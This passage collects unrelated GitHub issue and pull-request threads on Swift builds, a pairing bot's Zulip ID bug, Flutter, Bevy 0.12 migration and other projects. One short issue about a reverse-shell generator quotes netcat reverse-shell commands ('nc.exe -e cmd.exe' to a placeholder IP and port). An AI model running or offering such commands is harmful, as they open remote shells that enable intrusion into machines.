stdint.h transitively.
The other alternative is to counsel users trying to build for the
platform to disable libswift, which means that modules aren't used. This
would be OK, but given that eeckstein says that "Currently libswift
does not contain any "mandatory" code yet" (emphasis mine) suggests that
such counsel wouldn't be very durable.
Therefore, to make sure the build is unbroken, make this terrible little
hack for now.

Curious. Well, it's not such a bad hack.
@swift-ci smoke test and merge

@swift-ci smoke test macOS platform

Can you ping swift-ci again please? Thanks.

@swift-ci smoke test macOS platform


nc.exe wrong command

When you try to generate a nc.exe revshell. the command input is sometimes wrong. For example, it will output nc.exe -e sh <IP_ADDRESS> 4444 when it should be using nc.exe -e cmd.exe <IP_ADDRESS> 4444.

You can change the shell with dropdown options.


Missed pairing opportunities on a weekly basis

@iafisher reports:

I'm signed up for pairing Tuesday through Friday, but the last couple of weeks Pairing Bot has skipped Tuesday and Thursday without any message.

A status message from Ian shows T/W/R/F pairing schedule.
@stillgreenmoss notes that we may need to instrument for more information (i.e. log more) to effectively debug this.

My thoughts on "how to investigate", having done no actual investigation yet:

Where is the intent to match Ian getting dropped?

Is there a way to run the pairing algorithm locally, as f(real preferences, simulated date), and see what pairings it spits out? What messages?
What happens if a message doesn't get sent? Is there a (noisy) error? What if a message does get sent -- do we have a confirmation?

A little investigation: in http://console.cloud.google.com/logs/query,
resource.type="gae_app"
protoPayload.userAgent="AppEngine-Google; (+http://code.google.com/appengine)"

makes a good starting point for finding the /match invocation.

A red herring path I went down: timezones.
The crontab says to perform matches at 4:00. Docs say if unspecified, the timezone is UTC.
In the winter, 4:00 UTC is 11:00 EST (EST is UTC - 5:00). In the summer, 4:00 UTC is 00:00 EDT (EDT is UTC - 4:00). So in the winter the pairing bot runs "the day before", computing "tomorrow"'s matches; in the summer, it runs "the same day".
But ListPairingTomorrow does the right thing: it uses GAE's time zone, UTC, and picks up the same day. That's correct regardless of what Eastern time is doing.

OK, I see something odd in the logs, at least.
A lot of the pairings generated wind up with a BAD_REQUEST message attached. In this case, there's two adjacent messages:
2024/07/30 04:00:02 {"result":"error","msg":"Invalid email '[redacted A]'","code":"BAD_REQUEST"}
2024/07/30 04:00:02 [redacted A] was matched with [redacted B]

"Invalid email" is one of the messages, for several e-mail addresses. There's also one report of [email] is no longer using Zulip.

It looks like this error isn't showing up in the match function; the prefix "Error when trying to send..." isn't showing up in the logs.
sendUserMessage is logging the response body with no additional annotation; but it looks like nothing is classifying that Zulip response with an error. :(
At least for today, I think this is a sufficient explanation for why Ian didn't get a pairing. The bot sent a message to multiple recipients, but one of those recipients was invalid; the message as a whole didn't send. (I haven't check to see if this was also the problem on other days.)

I suspect this could be responsible for a few different dropped pairings.
Some changes, maybe in priority order:

[ ] Configure the Golang logger to log the file name and file number of the log statement. This is Immensely Useful for debugging -- it doesn't quite turn the logs into a trace, but it makes it a lot easier to line things up.

[ ] A non-2xx HTTP response doesn't cause an error; we should at least check the HTTP response code for the Zulip responses.

[ ] Check the Zulip API, and if needed, perform more-complete error checking for Zulip replies. Do we expect Zulip to return a non-2xx error for these (BAD_REQUEST)? Or do we need to check the body?

[ ] Alerting! Proactive telemetry, not reactive log-looking; if the bot fails, or fails repeatedly over some amount of time, there should be something that says "hey go look at the logs pls?".

[ ] Data cleanup: it looks like there are some users that Zulip considers invalid. Why? How can/should we know, so we can remove them from the pairing set?

Zulip documentation confirms that errors will return 4xx/5xx errors, as well as error information in the body.
Neither the "Invalid e-mail" nor the "...is no longer using Zulip" messages have the relevant e-mail as structured data. The API docs have a "tip" saying to start a conversation on the Zulip Zulip instance as to whether there are specific key/value pairs that would be relevant.

[ ] Consider following up with Zulip: can the invalid e-mail(s) be returned as a structured error response?
This would be one way (not the only way) for us to do more graceful error handling; we could punt the user that is valid down the list and try to pair them again.

[ ] An alternative: check each user before pairing them / filter down the list of pairing candidates to "current active users", based on querying Zulip.
(It is possible, but unlikely, that the user's e-mail could change between the check query and the send-message.)

[ ] Do we need to use e-mails at all, or could we sent to Zulip users by-ID? The above points still apply - Zulip users could disappear - but it seems more stable.
It looks like the RC API includes the Zulip ID...

@stillgreenmoss spotted the underlying issue:

Pairing Bot uses the Zulip ID as the lookup key.
...but conducts pairing, "left batch", messages, etc. based on the e-mail address.
The e-mail address is mutable on the Zulip side without syncing to RC (?), and is only updated in the pairing DB when the user interacts.

So a "real fix" here:

[ ] Use the Zulip ID consistently: as the pairing DB key, as the message key, and as the key to join those databases with the RC API.

Current status: I think testbot is using Zulip IDs instead of e-mail for all identity purposes. Including talking to the RC API:
User: [redacted] was at RC last week: false and is at RC this week: true

The one remaining use of e-mail is for review identity. I think that's OK to leave for now; I'll file a follow-up "enhancement".

OK! #62 is in and deployed to prod Pairing Bot. I tagged the original commits in issue55 if anyone wants to see the history in more detail.
I'm going to leave this open until we've seen all the crons run and take action:

[ ] Daily match-making
[ ] End-of-batch: should run this Saturday, and @jdkaplan should get a message
[ ] Status report: Thursday (2024-08-08)
[ ] Welcome: second Tuesday of the next batch (2024-08-20)

which we'll see trickle in over the next couple weeks.

Potentially related: #70
In cases where someone had chosen to skip their next pairing (by sending a skip command to PB), the matching job would panic when "unskipping" them for the next day. That would prevent the matching job from sending out pairs.

So far, I've seen daily matching and end-of-batch succeed (after some fixes to each), so I'll check those boxes now.

Here to confirm the last cron job run! The welcome message was sent out a few minutes ago. Logs (maintainers-only link), Zulip message
I haven't seen any more reports of pairing issues in the last week, so I think the Zulip ID and unskip fixes were all we needed. That said, I wasn't watching the logs particularly closely, so (anyone) please feel free to open a new issue if this happens again!


Support for disabling TextField, TextFormField

Added an enabled property to TextField and TextFormField.  If specified, it overrides InputDecorator.enabled.
Updated the color choices for InputDecorator parts for the enabled: false case.
Updated the textfields gallery demo: the "retype password" field is disabled until a password has been entered.
Fixes https://github.com/flutter/flutter/issues/10645

textfield
enabled:true
causes error
should be
keyboardType: TextInputType.datetime,

@petervrichards
Could you provide a small example of the problem you're reporting?

Shouldn't this prevent the user from editing the TextField too?

@devxpy There was a problem where disabled TextFields could be edited, but it was fixed. See https://github.com/flutter/flutter/pull/18097


[RIP 48] Introduces the concept of ready and inflight messages

doc: https://github.com/apache/rocketmq/wiki/RIP-48-Enhance-server-side-offset-management-ability
pr: #5357 Introduces the concept of ready and inflight messages

May I ask if all the development has been completed？


Update async delivery instructions.

To provide better guidance to allow for JSON encoding of tasks
As per https://github.com/zapier/django-rest-hooks/issues/24

@imsickofmaps Thanks for contributing!


npm/bump

Description
Bump package dependencies.
Test Coverage

[x] unit

References

Closes #156 .

@RyanNieuwoudt npm outdated

@RyanNieuwoudt npm outdated

@davidhorak npm outdated returns no results.

@RyanNieuwoudt npm outdated

@davidhorak npm outdated returns no results.

My appologies, did not run ci first, at my local :)


When a Web layer request keyboard on loading, keyboard blink or not showing

when a webLayer has à $('#myInput').focus() on html load :
on ios 7 : keyboard might show and hide itself quickly
on Android : keyboard is not shown on some devices I think (double-check this)...

Works well on Android, except under Android 4.1...
Tested on:

HTC Wildfire running Android 2.2.1,
Galaxy Nexus running Android 4.0.4,
Samsung Galaxy S5 running Android 5.0,
Nexus 7 running Android 5.1,
Nexus 4 running Android 5.1.1.

On iOS, all devices and versions are affected :(
The timeout does not always work.
I tried to trigger the focus on an event receipt sent when the WebView alerts the native that it is completely loaded but nothing changed...
I do not have other ideas...

increased timeout to 350ms instead of 200. works fine on all our devices ;)

If we want to make a better fix we will have to have a onPageShown event in weblayers webviews. maybe in the next refactoring ? ;)


Support Bevy v0.12.0

Summary
This PR makes the necessary changes in order for this library to be bevy v0.12.0 compliant. This closes #488.
Testing

Clone the bevy_ecs_tilemap repository as-is.
Run all of the examples as described in the README.md.
Clone my version of bevy_ecs_tilemap
Run cargo check to verify there are no compilation issues.
Run all of the examples as described in the README.md.
Observe there are (hopefully) no differences between the original.

Great work ! I tried testing for wasm target but stumbled on an issue caused by a dependency so I'm guessing we can't test for this target right now although I don't know how necessary it would be for merging this PR

Went through all the example (without the atlas feature) and I didn't find any issue !

Approved, ship it :laughing:

@divark @dbidwell94 @Trouv Hey guys, any chance we could get this merged? 😅

Don't look at me, I'm a consumer not a maintainer 🙂

Hey guys, any chance we could get this merged? 😅

It's StarArawn running the show, and I've let them know this is ready to look at. Please be patient. Comments like "this branch is/isn't working great in my project" would still be helpful feedback.

@rparrett

It's StarArawn running the show, and I've let them know this is ready to look at. Please be patient.
 Sorry about that.

You don't need a crates.io release to use this.
Oh?? So I can use a "non-release" branch in my rust project? I'll take a look at that now! thanks for letting me know.

Oh?? So I can use a "non-release" branch in my rust project? I'll take a look at that now! thanks for letting me know.

Yep! Something like
bevy_ecs_tilemap = { git = "https://github.com/divark/bevy_ecs_tilemap", branch = "0.12-fixes" }

Thank you for your work on that topic!
I migrated my project using your branch and I get this error:
2023-11-15T18:15:44.813550Z ERROR wgpu::backend::direct: Handling wgpu errors as fatal by default
thread 'Compute Task Pool (0)' panicked at 'wgpu error: Validation Error

Caused by:
    In Device::create_texture
      note: label = `texture_array`
    Dimension Z is zero

    ...

Encountered a panic in system `bevy_ecs_tilemap::render::prepare_textures`!

I'm not sure how I can confirm this is on my side or on the lib.

I found the issue with my code, I didn't notice I was creating a tilemap without a texture. Which seems to works with the current version of this library.
Should this case also be handled by this PR?

looking forward to this beautiful merge 🙏

Seems to work very well with my project as well, so another thumbs up ! Looking forward to the merge.

@Trouv Thanks for the heads up and the augmented basic example! With closer inspection, it looks like I missed a spot when performing the RenderSet changes. The give away was from that first error listed where it referenced the "tilemap_view_bind_group", which originates from the function queue_material_tilemap_meshes that tries to create those bind groups. That function was not registered in the new RenderSet PrepareBindGroups, which is necessary for Bind Group creation.
Luckily, this is a one-line change, and it seems that example now works on my end. I'll push this new commit now. Let me know if this change resolves the issue, as well as whether all the other examples still work as intended!

I can confirm this does seem to fix the crash, but I am also running into new rendering issues now. In particular sprites seem to be rendering behind tilemaps, and the ordering of the tilemaps themselves seems to be inconsistent
On 50718d6ec60ff29abc0496446a4a1614d1a779fe:

On dbc6b17365434bd0194d82a5426ce0561829e628:

It seems to be some regression with z-ordering somehow.

@divark I was having the same issue and just tried your new commit. It seems to fix the z-index issue, but I sometimes get some weird rendering (happens only sometimes when I start my app, also happend with the previous version):

Normal rendering (most times)
Weird rendering (few times)

@divark I was having the same issue and just tried your new commit. It seems to fix the z-index issue, but I sometimes get some weird rendering (happens only sometimes when I start my app, also happend with the previous version):

When you say previous version, do you mean the last commit, or v0.11.1, the last version of this library?

For what it's worth, things seem to be working correctly for bevy_ecs_ldtk again - including the late RenderTargets.

Just tested it and everything now works perfectly for me with bevy_ecs_ldtk, thanks for the fix!

can we get this shipped so we can use it in the jam please 🥺

Quick update for any that are looking to use this in the jam.
To use this with bevy_ecs_ldtk add
[patch.crates-io]
bevy_ecs_tilemap = { git = "https://github.com/divark/bevy_ecs_tilemap", branch = "0.12-fixes" }

to your Cargo.toml, as well as
bevy_ecs_ldtk = { git = "https://github.com/Trouv/bevy_ecs_ldtk.git", branch = "feat/bevy-0.12" }

These will make it that it uses the branches that are capable of using bevy 0.12 now, before they have been put on crates.io or the main branches of the respective repos. Hope this helped!

Maybe I am wrong, but there appears to be some issues with the Tiled helper. Consider this minimal example https://github.com/mbrc12/minimal-example-for-tiled-issue . The file src/tiled.rs is copied from examples/helpers/tiled.rs.
Specifically, the issue appears to be that the tiled crate processes the image path as described here: https://docs.rs/tiled/latest/tiled/struct.Image.html, which is different from what is assumed by the current helper code. A potential fix is in tiled_fix.rs which works for my case, but may fail elsewhere.

Specifically, the issue appears to be that the tiled crate processes the image path as described here: https://docs.rs/tiled/latest/tiled/struct.Image.html, which is different from what is assumed by the current helper code. A potential fix is in tiled_fix.rs which works for my case, but may fail elsewhere.

The image path from the Tiled library processes an uncanonicalized path, meaning the paths are relative, not absolute, which could cause problems as noted here: #484. I believe the Tiled helper is designed for absolute/canonical paths in mind, hence the extra setup to get the path from the asset loader and such.
If you think this warrants further investigation, I'd recommend making a new issue pointing it out unless this is a regression in comparison to v0.11.1 of this library.


[FEATURE REQUEST]

Creating Favicon

Some connecting pages lack Favicon, adding them will make it look more professional & appealing.

YT Video Slideshow

On the Rejuvenate page, the YT Videos are embedded and require horizontal scrolling, making it look unclean. I will add the YT video as the slideshow.
@akshitagupta15june Assign this issue to me please :)

give some example i think all favicons are working fine

give some example i think all favicons are working fine

There is no Favicon on Rejuvenate Page, likewise there are 2-3 more pages which lack favicon.

I want to give slideshow to YT Videos inserted as without it they are craking. The idea is to have something like this:


Update dependencies and make build green again

Hi, sorry to spring a change like this one on your testing harness, but I believe the build should go back to green after this commit.
I have also updated the dependencies of the library and the tests were green with those changes.
Thank you for reviewing, let me know if I need to do anything more!

Coverage increased (+8.3%) to 92.958% when pulling 4b36c5c8587688d3057c17b37a3695f8626ae971 on locks:master into 8cec9b8411dc74ac151c86aef618d4a020767e10 on shinnn:master.


meta-rauc-rockchip: Add Rockchip integration layer tested with Radxa Rock Pi 4 Model B

This layer depends on meta-arm and meta-rockchip. Tested on Radxa Rock Pi 4 Model B.

This GitHub pull request is compatible with Yocto release Styhead. It depends on the following change for WORKDIR -> UNPACKDIR transition in u-boot.inc which I have submitted as a patch for a review in the upstream:
https://lists.openembedded.org/g/openembedded-core/message/201061?p=%2C%2C%2C20%2C0%2C0%2C0%3A%3Arecentpostdate%2Fsticky%2C%2Cleon%2C20%2C2%2C0%2C106839442
I created branch scarthgap of layer meta-rauc-community. I will open a separate GitHub pull request to add support for Rockchip in Scarthgap.


Dashboard chart statistics (Total Sales) not updating

Expected behavior:
To see total sales value  on the statistics widget
Actual behavior:
Stuck at 0.00 with many completed orders.
Reproduce steps:
Add the widget to your dashboard if not already there.
Version:
3.0.4-beta.20.1
Additional Information:
app\admin\dashboardwidgets\Statistics.php
getTotalSaleSum() method date range does not seem to be working correctly
I have not checked other widgets but this could be also an issue with others
Change from:
$query = Orders_model::query();         $query->where('status_id', '>', '0')               ->where('status_id', '!=', setting('canceled_order_status'))               ->whereRaw($this->getRangeQuery($range));
Change to by removing date query and they show fine:
$query = Orders_model::query();         $query->where('status_id', '>', '0')               ->where('status_id', '!=', setting('canceled_order_status'));

Already fixed here #358, thanks to @darkmaterial. You can apply the fix if you don't want to wait for the next update.


SkillTable is a collection of SkillArrays

Each column of the SkillTable (formerly known as AggregatedSkill) is a SkillArray representing a single metric. Only SkillArray has a plotter.
s = cc.skill()
s.rmse.plot.bar()

Or shorter:
s = cc.skill("kge").plot.bar()

Soon the underlying datastructure will be a Dataset and a DataArray.

This is first step in improving SkillTable. Replacing the data container to xr.Dataset is pushed to a subsequent PR (to minimize merge conflicts).


Bubble sides looking smaller than the center

Hello, I installed zsh for the first time recently and after seeing your theme on reddit I tried to give it a whirl, but no matter what I tried I couldn't get the sides of the bubbles right. Any suggestions on how to fix this?

so apparently using nerd fonts manual instructions are harder than using AUR, and I had messed it up. I tried installing nerd fonts' source code pro with yay and the problem went away.

Glad you solved the issue. For people reading this post close: The font you are using must be able to stretch the full line height and your terminal emulator must support this font stretching.


Error

File "", line 253, in
File "", line -1, in cls
SystemError: unknown opcode

i have the same error